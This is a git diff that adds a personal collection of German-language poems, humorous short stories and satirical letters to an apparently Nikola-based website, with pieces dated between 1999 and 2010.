18 | Der Cousin, der sich "irgendwo im Interweb einen Trojaner-Virusprogramm" eingefangen hat und man darf da antanzen, clickt ein wenig herum, bekommt in der Browseraddresshistory Ferkelwoerter zu sehen, die einem einen ungefaehren Eindruck verschaffen, mit welcher Hartnaeckigkeit da gesucht wurde und von denen ein Grossteil da nicht im Traum einfallen wuerde, obwohl man ja selber auch nicht voellig.. aber egal! Man nickt ein paar mal bedeutend und schuettelt hier und dort den Kopf und wenn der Cousin dann irgendwas von "Iloveyou" und "Melissa" brabbelt, faellt einem nix weiter ein als "Ja, hab ich auf Heise gelesen, aber weiss ich jetzt auch nicht" und dann sieht man dieses schnippische "pah". Dieses "und du willst was von Computern verstehen". Und zu NetBSD und dem Apache, den man vorhin installiert hat und dem CryptoFS, an dem man grade codet, gibz nur ein "hab ich laengst durchgespielt" und man weiss, dass man Federn verloren hat, aber da nie wieder hin muss. | ||
19 | |||
20 | Und da sitzt man nun, kaut auf Gabel und Kuchen und alle warten auf den Startschuss zur Hatz. Da gibt es immer einen widerlichen neuen Liebhaber irgendeiner Tante, der einem ganz scheinheilig zwei voellig aus der Luft gegriffene Monitortypen an den Kopf wirft und man soll nun entscheiden, welchen er kaufen soll nur um mit dieser Meinung gleich auseinander genommen zu werden. Man rettet sich mit Phantastereien ueber Lochmasken vom LCD Schirm und ist erloest. | ||
21 | |||
22 | Vorerst nur, dank derselben bloede Tante, die den Typen angeschleppt hat, die macht naemlich einen Witz ueber Bankraeuber mit ihren Lochmasken. Die Meute hat nun mit der gestrigen Bildzeitung und dem schlimmen Bankueberfall genug zu tun, um vom heroischen Fluchtversuch abzulenken, den man dann notfuerftig als Toilettenbesuch getarnt, unternimmt. Saesse man noch da, wenn sie sich einem wieder widmeten, liefen man leicht Gefahr, jegliche Selbstachtung zu verlieren. Stattdessen steht der sehr verstaendnisvolle Opa im Flur, der unbedingt wissen will, was man denn da so gerade arbeitet und irgendwie tut es einem ernsthaft leid, dass das enttaeuschte Nichtverstehen in seinen Augen schon nach dem zweiten Buzzword durchfackelt. | ||
23 | |||
24 | Und wieder uebermannt einen ein Bild drohenden Uebels. Situation: gemuetlicher Abend, Programmieren an der Weltverbesserung. Grundnahrungsmittel und Brot, eine gute Playlist, naechsten Morgen nicht frueh aufstehen... und dann natuerlich ploetzlich Telefon. Und dann vier Stunden irgendeinem Verwandten oder Bekannten eines Verwandten nur unter Zurhilfenahme eines XP auf dem Scancomputer in der Firma als Referenz beschreiben wie man unter Win95 versteckte Dateien einblendet und dlls ins Pluginverzeichnis des CD-Rippers kopiert, dass natuerlich nicht ueber den Startknopf im zweiten Menue sondern im Explorer, der aber dummerweise Arbeitsplatz heisst... | ||
25 | |||
26 | dabei kann man gerade noch verhindern, auf dem Rueckweg vom Klo in das Nachbarskind zu rennen, dass inzwischen schon gross und ansehnlich geworden ist, und steht paralysiert da, wie man es aus schlechten Filmen kennt, wo auch der ekligste, pickelige Computerhacker doch noch das Cheerleadermaedchen abbekommt, und bestaetigt alle Stereotype und huscht durch das Wohnzimmer zurueck in das ehemalige Zimmer, das laengst zum Buero umfunktioniert wurde und tastet sein Gesicht nach Pickeln ab. | ||
27 | |||
28 | Noch waehrend man den Obstkuchenfleck auf seinem Alt-F4 Shirt breitreibt, hoert man vor der Tuer die Nachbarskinder tuscheln und "wenn du mich aergerst, hol ich meinen grossen Bruder und der haut dich" scheint obsolet zu sein, jetzt bedrohen sie sich mit "dann hackt der dein Konto" und das geht spaetestens dann schief, wenn sie uebermuetig den Dorffaschos mit "und der macht dir Punkte in Flensburg" drohen. | ||
29 | |||
30 | Und langsam reift die Erkenntnis, dass man seinen Eltern erzaehlen will, man wuerde jetzt Baecker oder Kfz-Mechaniker oder Bankdirektor. | ||
31 | |||
32 | Oder Bundeskanzler! | ||
diff --git a/stories/poetry/bsd.vs.linux.md b/stories/poetry/bsd.vs.linux.md new file mode 100644 index 0000000..cd5c4fd --- /dev/null +++ b/stories/poetry/bsd.vs.linux.md | |||
@@ -0,0 +1,11 @@ | |||
1 | <!-- | ||
2 | .. title: BSD vs. Linux | ||
3 | .. date: 2002/02/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | The daemon and penguin are fighting,<br/> | ||
8 | under which license thou should be writing.<br/> | ||
9 | But an a closer look,<br/> | ||
10 | to me it is enuk,<br/> | ||
11 | that emacs has syntax high-li-ting!<br/> | ||
diff --git a/stories/poetry/domizil.md b/stories/poetry/domizil.md new file mode 100644 index 0000000..8caa24d --- /dev/null +++ b/stories/poetry/domizil.md | |||
@@ -0,0 +1,19 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist II) Domizil | ||
3 | .. date: 2002/12/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wohl dem, der die Einsamkeit noch<br/> | ||
8 | als Schatten begreift und nicht<br/> | ||
9 | als das Universum, aus dem man<br/> | ||
10 | vereinzelt nur Sternstunden<br/> | ||
11 | der Freiheit sich pflueckt.<br/> | ||
12 | Und welch Unglueck fuer den,<br/> | ||
13 | der sich, vom Instinkt ueberwaeltig,<br/> | ||
14 | des Lichts entsagt, nur um einem<br/> | ||
15 | sich selbst nie erfuellenden Traum<br/> | ||
16 | der Freiheit nachzugehn.<br/> | ||
17 | Ich hingegen habe mein Domizil gefunden,<br/> | ||
18 | in das bisher noch alle wandernden Seelen<br/> | ||
19 | frueher oder spaeter zurueckfanden. | ||
diff --git a/stories/poetry/dreiviertel b/stories/poetry/dreiviertel new file mode 100644 index 0000000..0aba2f6 --- /dev/null +++ b/stories/poetry/dreiviertel | |||
@@ -0,0 +1,33 @@ | |||
1 | C D | ||
2 | Schnee im April im Cafe auf der Strasse | ||
3 | G a E | ||
4 | eiskalt erwischt beim Treffen mit dir | ||
5 | C D | ||
6 | Erfrorene Worte schlittern nun rastlos | ||
7 | G E | ||
8 | taumelnd und einsam vor mir | ||
9 | |||
10 | Eiszapfen gleich stechen die Blicke | ||
11 | die deine verschneiten Augen verteiln | ||
12 | zieh dich warm an und geniesse die Stunden | ||
13 | die Glueck und Elend bei dir noch verweiln. | ||
14 | |||
15 | C d | ||
16 | Wohin immer du gehst, | ||
17 | E F | ||
18 | was auch immer dich treiben mag | ||
19 | G a | ||
20 | die Zeit ist vorbei, | ||
21 | B A | ||
22 | wo die Zeit noch Gefangene macht. | ||
23 | |||
24 | Was auch immer du suchst, | ||
25 | |||
26 | wer auch immer dich finden mag, | ||
27 | |||
28 | die Zeit gibt kleinbei, | ||
29 | |||
30 | wenn du ihr nur ein Laecheln schenkst. | ||
31 | |||
32 | Regen im Mai beim Konzert auf der Wiese | ||
33 | klatschnasse | ||
diff --git a/stories/poetry/elokpaula.md b/stories/poetry/elokpaula.md new file mode 100644 index 0000000..a89d4e6 --- /dev/null +++ b/stories/poetry/elokpaula.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: E-Lok Paula | ||
3 | .. date: 1999/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Und da saß ich nun im Bummelzug von New York nach Idar Oberstein, nachdem ich gerade erfolgreich am Ärztekongreß über postmortale Harninkontinenz teilgenommen & natürlich alle in Grund & Boden debattiert hatte. Alles lief seinen üblichen Gang: kurz vor Einfahrt des Zuges war meine Tasche auf die Gleise gefallen, weshalb mein neu erstandenes Vibratorset jetzt leicht verbogen ist, zwei Mexikanerjungen, die für ein geringes Bakshish Koffer für die Reisenden tragen, verloren ihr Leben, als sie sich im Kampf um meinen Rollcontainer gegenseitig gegen die Hochspannungsleitungen warfen & der Lokführer schoß uns den Weg durch den Pöbel frei, der keine Platzkarte bekommen hatte. Der Pöbel zog 'ne Flappe & verstreute sich dann. | ||
8 | |||
9 | Doch nun saß ich gemütlich im Zug, probierte alle meine neuen Deosticks aus & erfreute mich an der Zugluft, als eine Stewardeß bestürzt durch mein Apartment stolperte & schrie: "Sie muß verrückt geworden sein... zur Hülf!" worauf sie durch mein offenes Kellerfenster nach jenseits der Gleise sprang. Aber weit gefehlt. | ||
10 | |||
11 | Niemand war verrückt geworden, es lagen nur gehörige Mißverständnisse vor, aber dazu später dann mehr. Plötzlich kam ich, um den Faden wieder aufzunehmen, auf die Idee, meine Geschichte nicht mehr in der Vergangenheitsform zu erzählen & das tue ich nun. Ich werde also, um die Spannung aus dem Plot zu nehmen, dorthin laufen, woher die aufgeregte junge Dame gekommen sein wird & dort feststellen, daß erstens ich barfuß in einer Ölpfütze stehe & zweitens die Kuhüberreste, die sich am seitlichen Fenster langsam in einer der Fahrtrichtung entgegengesetzten... äh Richtung entlang schleifen lassen werden, darauf hindeuten können würden, daß mit der 293,70 Euro teuren Zugfahrt etwas nicht stimmen wird. Ich vermute später nachdem ich mit dem Futur ebenfalls gebrochen habe, daß sich der Grund hierfür im Speisewagen befände; nach einer Odyssee durch Nicht- & - Raucherabteils, Bordtelefone, verschiedene Kulturmetropolen & ein heruntergekommenes Fischgeschäft würde ich aber eines Besseren belehrt: Ich träfe nämlich den Lokomotivführer, der mir erklärte, mein Konjunktiv wäre zutiefst unpassend & die Lok spielt verrückt. Ich schleiche mich also in den Führerstand, weiche eins, zwei entgegenkommenden Ampeln aus, die Ölflecke an meine Füßen ein & frage die Lok entspannt, was los sei. Sie erwidert, von mir jetzt kurz zusammengefaßt, ihre Probleme seien größtenteils sexueller Natur (was ich ihr natürlich nicht glaube) worauf das gesamte Publikum grölt. Daraufhin ist sie noch beleidigter & setzt gerade an, die Schneise die sie eben in den Wald wälzt, Richtung Fluß zu lenken, als ich aus dem gerade heimlich hervorgekramten Führer zum "Umgang mit manisch depressiven Triebfahrzeugen" die einfühlsamen Worte "Erzähl mir doch deine Geschichte" vorlese. Das lenkt die Lok für ein paar Sekunden ab & noch bevor sie ihre halbfertigen Memoiren zur Hand hat, kann ich einen Selbstzerstörungsmechanismus installieren & abspringen. Als Paula, so hieß laut dem Aufdruck auf ihrem Tagebuch, auf das ich einen heimlichen Blick erhaschen konnte, die Lokomotive, also als Paula klar wird, was geschehen war & in Ermangelung von Extremitäten Extremisten beauftragt, den Selbstzerstörungsmechanismus in die Luft zu jagen, diese jedoch Geld & Plutonium dafür verlangen & das Wochenbudget von Paula ausgeschöpft bzw. ihre Coupons längst verbraucht sind, versprach sie, jetzt vernünftig zu sein, auf die Schiene zurückzukehren & durch Überschreiten der Höchstgeschwindigkeit den Fahrplan wieder einzuhalten. Ich bekomme langsam Mitleid & wieder einen präteritativen Schreibstil, jedoch waren die voreingestellten 5 Minuten bereits um & noch bevor ich die timbuktische Nationalhymne zum Entschärfen der Gravitonenbombe hätte zu ende pfeifen können, flogen mir die Memoiren einer E- Lok namens Paula um die Ohren. | ||
12 | |||
13 | Ich überflog sie rasch, anscheinend hatte Paula mir, zumindest der letzten Eintragung nach, bereits vergeben & ich fand endlich den Grund für ihre Traurigkeit. Der innige Körperkontakt mit anderen Lokomotiven, den Paula brauchte, hätte bei den für sie typischen Geschwindigkeiten verheerende Folgen gehabt & war ihr deswegen verboten worden, so steigerte sich ihre Depression von Tag zu Tag & gerade heute wurde es ihr zuviel & eigentlich hatte sie bis zum Zeitpunkt meiner Intervention vor, das Lokomotivmuseum in Klein Aaknach zu besuchen, in das sie nun, aufgrund meiner Bemühungen gebracht wurde, in Einzelteilen, natürlich... Den Schornstein dürfte ich als Andenken behalten... wenn es eine Dampflok gewesen wäre. Er schmückte dann heute den Tisch meines Verteidigungsministers. | ||
14 | |||
15 | Aber so... | ||
16 | |||
17 | Karl G. | ||
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@@ -0,0 +1,60 @@ | |||
1 | <!-- | ||
2 | .. title: F.D.P. | ||
3 | .. date: 2002/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dear http://www.bonsaikitten.com/ staff,:: | ||
8 | |||
9 | I am speaking for a larger german party called | ||
10 | F.D.P. ( the Free Liberal Party: | ||
11 | http://www.fdp.de/ ) As you might know, on | ||
12 | September, 22nd the next election for the | ||
13 | German Bundestag will take place and we | ||
14 | currently are preparing our election campaign. | ||
15 | As providing giveaways for interested voters | ||
16 | always is a good idea, we consider ordering a | ||
17 | larger quantity of kittens. | ||
18 | |||
19 | Now there are some questions left about this | ||
20 | strategy: | ||
21 | * Is it possible to form a single kitten into | ||
22 | our F.D.P. shape, or will we have to order | ||
23 | a set of 3 kittens each for a single letter? | ||
24 | * Is it possible to colorize the kittens in | ||
25 | our party logo colors blue and yellow? Maybe | ||
26 | the space between each letters and its dots | ||
27 | in blue and the remaining space yellow? | ||
28 | * if we order, say 100.000 kittens, will you | ||
29 | offer a discount? | ||
30 | * is it possible to order these kittens on a | ||
31 | commission base? That's because if we don't | ||
32 | get enough votes in the election, we may not | ||
33 | be able to pay all the kittens. Maybe you | ||
34 | shape/form 50.000 pieces "just a bit" so | ||
35 | you can reinflate them when we send them | ||
36 | back? | ||
37 | * As we currently have some problems | ||
38 | concerning accuses of antisemitism we want | ||
39 | to be sure not to let jewish cats be put into | ||
40 | glasses, as this might result in bad press | ||
41 | of the kind "F.D.P. imprisons jewish kittens". | ||
42 | Could you please verify that each of these | ||
43 | kittens is not pruned? | ||
44 | * Of course it would be necessary to have those | ||
45 | pets as soon as possible, how long would | ||
46 | it take until the shaping is perfect? May we | ||
47 | suggest giving HGH to accelerate the growth? | ||
48 | |||
49 | If you can fulfil our needs we even may think | ||
50 | about ordering a special "parachute edition" | ||
51 | which could be dropped at campaign events. | ||
52 | |||
53 | And: if your support leads us to government, we | ||
54 | will pass a law, forcing every school to have | ||
55 | at least one kitten for biology classes. | ||
56 | |||
57 | Yours sincerely | ||
58 | |||
59 | Martin Matz | ||
60 | chairmember of F.D.P. | ||
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@@ -0,0 +1,47 @@ | |||
1 | <!-- | ||
2 | .. title: Feindkontakt | ||
3 | .. date: 2001/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Es ist wieder Zeit, nachzudenken.<br/> | ||
8 | Das Leben breitet sich vor dir<br/> | ||
9 | aus wie unbekanntes Feindesland.<br/> | ||
10 | Und sie wollen von dir, dass du,<br/> | ||
11 | ohne Plan und nahezu unbewaffnet<br/> | ||
12 | und schlecht ausgebildet<br/> | ||
13 | deinen Kopf behaeltst und nicht<br/> | ||
14 | aus Versehen den Falschen triffst<br/> | ||
15 | und den Deinen Schande bereitest.<br/> | ||
16 | Und noch waehrend du dir deine<br/> | ||
17 | Strategie zurecht legst<br/> | ||
18 | und aus deiner Deckung kriechst,<br/> | ||
19 | fuehlst du, dass es fuer dich hier<br/> | ||
20 | und jetzt vorbei ist.<br/> | ||
21 | Dass es an der Zeit ist, endlich<br/> | ||
22 | das Kommando zu uebernehmen und<br/> | ||
23 | die gottverdammte Verantwortung.<br/> | ||
24 | Dass es Zeit wird, aufrecht zu<br/> | ||
25 | gehen, auch wenn du dabei Gefahr<br/> | ||
26 | laeufst, dir den Kopf zu stossen.<br/> | ||
27 | Und dass du merkst, dass dies kein<br/> | ||
28 | Grund ist, auf dich stolz zu sein<br/> | ||
29 | sondern dass du dich beschaemt und<br/> | ||
30 | enttaeuscht fuehlen muesstest,<br/> | ||
31 | dass du selbst und die meisten<br/> | ||
32 | um dich herum gekrochen sind.<br/> | ||
33 | Und es ist an der Zeit, dass du<br/> | ||
34 | endlich erkennen und im Stehen<br/> | ||
35 | keine Fronten sehen wirst,<br/> | ||
36 | von denen sie erzaehlt haben, dass<br/> | ||
37 | sie sich direkt vor dir befinden.<br/> | ||
38 | Und ja! Schrei es hinaus und<br/> | ||
39 | tanze und springe durch dieses<br/> | ||
40 | ... Vaterland.<br/> | ||
41 | Und wenn dich alle anderen<br/> | ||
42 | ausgelacht haben, dann leg dich<br/> | ||
43 | ruhig wieder hin.<br/> | ||
44 | Denn du hast ja bewiesen, dass<br/> | ||
45 | du nachgedacht hast und die<br/> | ||
46 | Ketten von dir geworfen.<br/> | ||
47 | Aber taeglich?<br/> | ||
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1 | <!-- | ||
2 | .. title: (erdgeist III) Freiheit | ||
3 | .. date: 2002/12/03 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Freiheit der Seele<br/> | ||
8 | ist eine Illusion.<br/> | ||
9 | Und gerade, weil mich seit<br/> | ||
10 | Jahrhunderten umtreibt,<br/> | ||
11 | was der Wille nicht zu<br/> | ||
12 | verhindern mochte<br/> | ||
13 | und ich Seelen, Geister,<br/> | ||
14 | ach so freie Gestalten<br/> | ||
15 | einfing, wie die Sonne<br/> | ||
16 | die Erde und die Erde<br/> | ||
17 | den Mond.<br/> | ||
18 | Gerade deswegen weiss ich,<br/> | ||
19 | dass auch du allzu gern<br/> | ||
20 | Geborgenheit gegen Freiheit<br/> | ||
21 | eintauschen wirst. | ||
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@@ -0,0 +1,30 @@ | |||
1 | <!-- | ||
2 | .. title: Frühlingsgewitter | ||
3 | .. date: 2002/05/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wenn das Grau der Stadt sich mischt<br/> | ||
8 | mit dem schweren Dunkel des Regens,<br/> | ||
9 | der sich langsam ueber uns legt,<br/> | ||
10 | wie eine alte staubige Gardine,<br/> | ||
11 | und uns einfaengt, wie zerfetzte<br/> | ||
12 | Weben einer unsichtbaren Spinne.<br/> | ||
13 | Wenn zur Last der durchnaessten<br/> | ||
14 | Kleider auf den Leib<br/> | ||
15 | noch der Himmel eine unertraegliche<br/> | ||
16 | Schwere auf die Seele legt.<br/> | ||
17 | Wenn der stete Wind, der die<br/> | ||
18 | Tropfen auf der Haut trocknet,<br/> | ||
19 | mich noch mehr froesteln laesst,<br/> | ||
20 | als der Wiederhall des Wetters<br/> | ||
21 | aus der Ferne, der sich mischt mit<br/> | ||
22 | dem bedrohlichen Zucken des Lichts.<br/> | ||
23 | Und wenn es sich spiegelt,<br/> | ||
24 | in deinen Augen, deren Gegenwart<br/> | ||
25 | deine blasse Haut unmerklich<br/> | ||
26 | in der Tiefe des Aprils verlieren<br/> | ||
27 | und mich traeumen laesst.<br/> | ||
28 | Dann sind genau diese Augen der Ort,<br/> | ||
29 | an dem ich Klarheit finde<br/> | ||
30 | und Waerme und Farbe.<br/> | ||
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@@ -0,0 +1,18 @@ | |||
1 | <!-- | ||
2 | .. title: Geändert | ||
3 | .. date: 2001/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dinge aendern sich.<br/> | ||
8 | Wo in der Erinnerung noch Monumente<br/> | ||
9 | neben laengst verdraengtem<br/> | ||
10 | prachtvoll sich erheben,<br/> | ||
11 | wo aus schoengefaerbter Vergangenheit<br/> | ||
12 | Trugbilder gluecklicher Stunden<br/> | ||
13 | auftauchen und den Verstand vernebeln,<br/> | ||
14 | wo der fade Nachgeschmack des<br/> | ||
15 | wohl selbstverschuldeten Endes<br/> | ||
16 | an sich selber zweifeln laesst,<br/> | ||
17 | wo einst Frohsinn regierte und Liebe,<br/> | ||
18 | haben sich die Dinge halt geaendert.<br/> | ||
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@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Gefangen | ||
3 | .. date: 2010/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Jetzt hast Du mich<br/> | ||
8 | Eingefangen und läßt<br/> | ||
9 | Mich nicht mehr los<br/> | ||
10 | Und es bleibt das Gefühl<br/> | ||
11 | Als trüge ich nun<br/> | ||
12 | Den mir in diesem kurzen Moment<br/> | ||
13 | Des Berührens angelegten Ring<br/> | ||
14 | um Herz, Verstand, Bein und Hand<br/> | ||
15 | Und wenn ich aufsteige und fliege<br/> | ||
16 | Und ankomme sieht man mir doch<br/> | ||
17 | Noch das Treffen an, mit Dir. | ||
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@@ -0,0 +1,19 @@ | |||
1 | <!-- | ||
2 | .. title: Gefunden | ||
3 | .. date: 2003/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Endlich!, wuerde ich sagen.<br/> | ||
8 | Doch nachdem<br/> | ||
9 | zu ungenau ich gezaehlt,<br/> | ||
10 | zu sorglos ich mich versteckt,<br/> | ||
11 | zu unachtsam ich geschmult,<br/> | ||
12 | zu heftig ich geatmet,<br/> | ||
13 | zu zaghaft ich gesucht und<br/> | ||
14 | zu offensichtlich ich mich<br/> | ||
15 | zu erkennen gegebene habe,<br/> | ||
16 | nach einem fluechtigen Blick<br/> | ||
17 | geht das Spiel einfach<br/> | ||
18 | in die naechste Runde.<br/> | ||
19 | Du bist dran. | ||
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@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Grau | ||
3 | .. date: 2003/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Die grauen Maenner kommen<br/> | ||
8 | an den hellen Tagen nur.<br/> | ||
9 | Und bewaffnet mit nichts als den<br/> | ||
10 | verlorenen Illusionen allein,<br/> | ||
11 | kleingehackt und aufbereitet<br/> | ||
12 | in schoene und als unerreichbar<br/> | ||
13 | deklarierte Traeume,<br/> | ||
14 | sehnsuchtsvoll all den Momenten<br/> | ||
15 | hinterhertrauernd, in denen<br/> | ||
16 | man sie, Stueck um Stueck,<br/> | ||
17 | verloren hat und geschlagen<br/> | ||
18 | mit einer Wut, die so hilflos<br/> | ||
19 | und aengstlich wirkt gegen den<br/> | ||
20 | von der Leine gelassenen, alles<br/> | ||
21 | bedrohenden Schweinehund,<br/> | ||
22 | mit diesen laecherlichen Fetzen<br/> | ||
23 | also, Ideen eines anderen Jetzt,<br/> | ||
24 | zahlt man den grauen Maennern,<br/> | ||
25 | wie ueblich, ihren Zoll. | ||
26 | |||
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@@ -0,0 +1,23 @@ | |||
1 | <!-- | ||
2 | .. title: Große Jungs | ||
3 | .. date: 2003/10/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Die Augen sind nicht kleiner geworden,<br/> | ||
8 | ueber die Jahre und haben nichts<br/> | ||
9 | von ihrem Glaenzen verloren.<br/> | ||
10 | Nein. Noch immer stolpern wir ohne<br/> | ||
11 | nachzudenken jedem Spielzeug hinterher.<br/> | ||
12 | <br/> | ||
13 | Die Jungs sind nicht weiser geworden,<br/> | ||
14 | denn waehrend die Seifenkisten und<br/> | ||
15 | Plasteautos den Echten wichen,<br/> | ||
16 | mussten echte lebendige Maedels<br/> | ||
17 | den geseiften Plastefrauen Platz machen.<br/> | ||
18 | <br/> | ||
19 | Die Welt ist um nichts besser geworden,<br/> | ||
20 | man liebt sich und betruegt sich,<br/> | ||
21 | und am Ende spielen doch,<br/> | ||
22 | wie seit Generationen die Vaeter,<br/> | ||
23 | immer wieder nur die Jungs mit den Jungs.<br/> | ||
diff --git a/stories/poetry/header b/stories/poetry/header new file mode 100644 index 0000000..2e2c4af --- /dev/null +++ b/stories/poetry/header | |||
@@ -0,0 +1,4 @@ | |||
1 | <!-- | ||
2 | .. title: | ||
3 | .. tags: poetry | ||
4 | --> | ||
diff --git a/stories/poetry/im_sog.md b/stories/poetry/im_sog.md new file mode 100644 index 0000000..a26b0de --- /dev/null +++ b/stories/poetry/im_sog.md | |||
@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Im Sog | ||
3 | .. date: 2005/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wenn der letzte Halt genommen,<br/> | ||
8 | Respekt, Ehre, Treue und Liebe<br/> | ||
9 | verfallen sind.<br/> | ||
10 | |||
11 | Dann bleibt nur die Wollust,<br/> | ||
12 | das Triebhafte hinab in den Strudel<br/> | ||
13 | des unreflektierten Hedonismus.<br/> | ||
14 | |||
15 | Ein ewiges Stuerzen in den Schlund<br/> | ||
16 | des Zwanghaften, aufgerieben<br/> | ||
17 | an den letzten standhaften Vorspruengen,<br/> | ||
18 | die das Anstaendige<br/> | ||
19 | in die glitschigen Waende<br/> | ||
20 | der Verdammnis gerammt hat. | ||
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@@ -0,0 +1,13 @@ | |||
1 | .. link: | ||
2 | .. description: erdgeist schreibt | ||
3 | .. tags: | ||
4 | .. date: 1970/01/01 01:00:00 | ||
5 | .. title: poetry | ||
6 | .. slug: index | ||
7 | .. hidetitle: | ||
8 | |||
9 | .. post-list:: | ||
10 | :all: | ||
11 | :tags: poetry | ||
12 | :template: list_poetry.tmpl | ||
13 | :id: poetry | ||
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@@ -0,0 +1,30 @@ | |||
1 | Lieber [...Kuenstler...], | ||
2 | |||
3 | die Realitaeten unter den Medienkonsumenten haben sich in Richtung | ||
4 | eines Zustands verschoben, in der staendig (fast) alle Werke online | ||
5 | zur Verfuegung stehen. | ||
6 | Wenn man die Werke mag, die man sich nun kostenlos besorgen kann, | ||
7 | hat man leider bisher keine Moeglichkeit, den Kreativen finanzielle | ||
8 | Wertschaetzung zu erweisen, ohne die gesamte Verwertungsindustrie | ||
9 | bestehend aus Einzel- und Grosshandel, Ton/datentraegerproduzenten, | ||
10 | Rechteverwaltern und Marketing zu alimentieren. | ||
11 | Deswegen hat [...] ein Treuhandkonto eingerichtet, auf das jeder, | ||
12 | der meint, einen Kuenstler seiner Wahl finanziell unterstuetzen zu | ||
13 | wollen und damit auch unabhaengiger zu machen, einen ihm genehmen | ||
14 | Betrag einzuzahlen, der anonymisiert sofort weitergereicht wird. | ||
15 | Damit kauft man sich natuerlich auf juristischer Ebene nicht frei, | ||
16 | vielleicht aber auf moralischer. Andererseits ist so eine Spende | ||
17 | lange kein Eingestaendnis, illegale Kopien der Werke zu besitzen, | ||
18 | das Unterstuetzen von Kuenstlern hat eine lange Tradition und | ||
19 | erstmals kann man problemlos seinen kleinen privaten Beitrag dazu | ||
20 | leisten. | ||
21 | Alles, was wir dazu brauchen, ist eine private Kontonummer | ||
22 | (Kollektiv/Band/Vereins-konto), auf die wir die Spende weiterreichen | ||
23 | koennen. Die Bankverbindung wird natuerlich nicht veroeffentlicht, | ||
24 | genausowenig wie die Kontokoordinaten der Spender. Spenden, die | ||
25 | unter das Geldwaeschegesetz fallen wuerden, werden zurueckgewiesen, | ||
26 | genauso wie solche, die keinem Kuenstler eindeutig zuzuordnen sind. | ||
27 | Unter [... www.bank.de/spenden ...] kann man alle Transaktionen | ||
28 | nachvollziehen. | ||
29 | |||
30 | Weitere Informationen finden sich unter [... www.dieguten.de ...] | ||
diff --git a/stories/poetry/lovers.md b/stories/poetry/lovers.md new file mode 100644 index 0000000..92a7989 --- /dev/null +++ b/stories/poetry/lovers.md | |||
@@ -0,0 +1,15 @@ | |||
1 | <!-- | ||
2 | .. title: Lovers!? | ||
3 | .. date: 2000/11/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dort unter den Weiden,<br/> | ||
8 | beide vom Neumondschatten verwoehnt,<br/> | ||
9 | Lautlosem Rascheln der Blaetter<br/> | ||
10 | in windstiller Nacht lauschend,<br/> | ||
11 | |||
12 | sucht er den Polarstern,<br/> | ||
13 | sie den kleinen Baeren,<br/> | ||
14 | und beide wuenschten sich,<br/> | ||
15 | die Wolken wuerden verschwinden. | ||
diff --git a/stories/poetry/madkarin.md b/stories/poetry/madkarin.md new file mode 100644 index 0000000..74e9fc9 --- /dev/null +++ b/stories/poetry/madkarin.md | |||
@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: Mad Karin | ||
3 | .. date: 2002/04/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | "Schnauze, Schneewittchen", denk ich noch bei mir und will mich wieder umdrehen, "kann man denn nicht einmal in Ruhe ausschlafen?" Aber es will einfach nicht aufhoeren. Kopfkissen und Bettdecke helfen genau gar nichts und das T-Shirt laesst sich nicht so leicht um den Kopf wickeln. Ich taste muede nach der Fernbedienung, bade dabei meine Hand in Muesli, weiss nicht und alter Unterwaesche und der Powerknopf macht nur noch mehr Laerm an. Worueber sich Gretel nun massiv beschwert. "Grandioser Start in den Tag", finde ich und nehme mir vor, nicht mehr mit Pilzen zu experimentieren wobei sich "frisch machen" nach einem soliden Plan anhoert. | ||
8 | |||
9 | Ich schubse die beiden beiseite und gruesse kurz Haensel, der es sich zwischen den Geranien bequem gemacht hat. "Ich hab im Flur Pflanzen?", gruebel ich noch kurz, werde aber von Einstein unterbrochen, der vorm Klo hin- und herhopst und sich in den allerschoensten Rottoenen den Piephahn zudrueckt. "Der bloede Napoleon kackt schon seit 'ner Stunde", schimpft er. Eigentlich steht mir der Sinn im Moment nicht nach Streit mit Staatsoberhaeuptern, aber trotzdem bummer ich gegen die Tuer, teils aus latentem Ungerechtigsempfinden, teils, weil ich dort selbst Einlass begehre. Ein bellendes "Ruhe da, hier werden wichtige Geschaefte erledigt" korrigiert jedoch meinen Bedarf an Argumentationen nach unten. "Kueche reicht ooch", beschliesse ich feierlich, da ich mir eh nur frisches Wasser ins Gesicht stellen wollte. | ||
10 | |||
11 | "Japp" jauchze ich, "Entscheidungen am fruehen Morgen machen halt erst dann Laune, wenn man sie getroffen hat." Ein gewagter Trab entlang des Flurs verschafft mir eine komfortable Stellung neben der Spuele, von der aus ich Batman und Goethe, die sich lebhaft ueber Latexunterhosen streiten, prima ignorieren kann. Was mir leider mit der, anscheinend umgekehrt proportional zur Uhrzeit immer gehaessiger schrillenden Tuerbimmel nicht so leicht gelingt, die mich just beim Hahnaufdrehen eiskalt erwischt. "Schosbodphadammta", grunz ich und scchildkroete mich zur Tuer, die sich dann aber herrlich wutentbrannt aufreissen laesst. Postbotin. | ||
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13 | "Unglaublich", stelle ich fest, "dass es so bestimmte Leute gibt, die man einfach dafuer hasst, dass sie ihrer alltaeglichen Beschaeftigung nachgehen." "Also bloss zu den falschen Zeiten natuerlich", relativiere ich mich. Aber eigentlich ist es wie mit Finanzbeamten, Politessen und dem Papst. Aber das ist ein anderes Thema. | ||
14 | |||
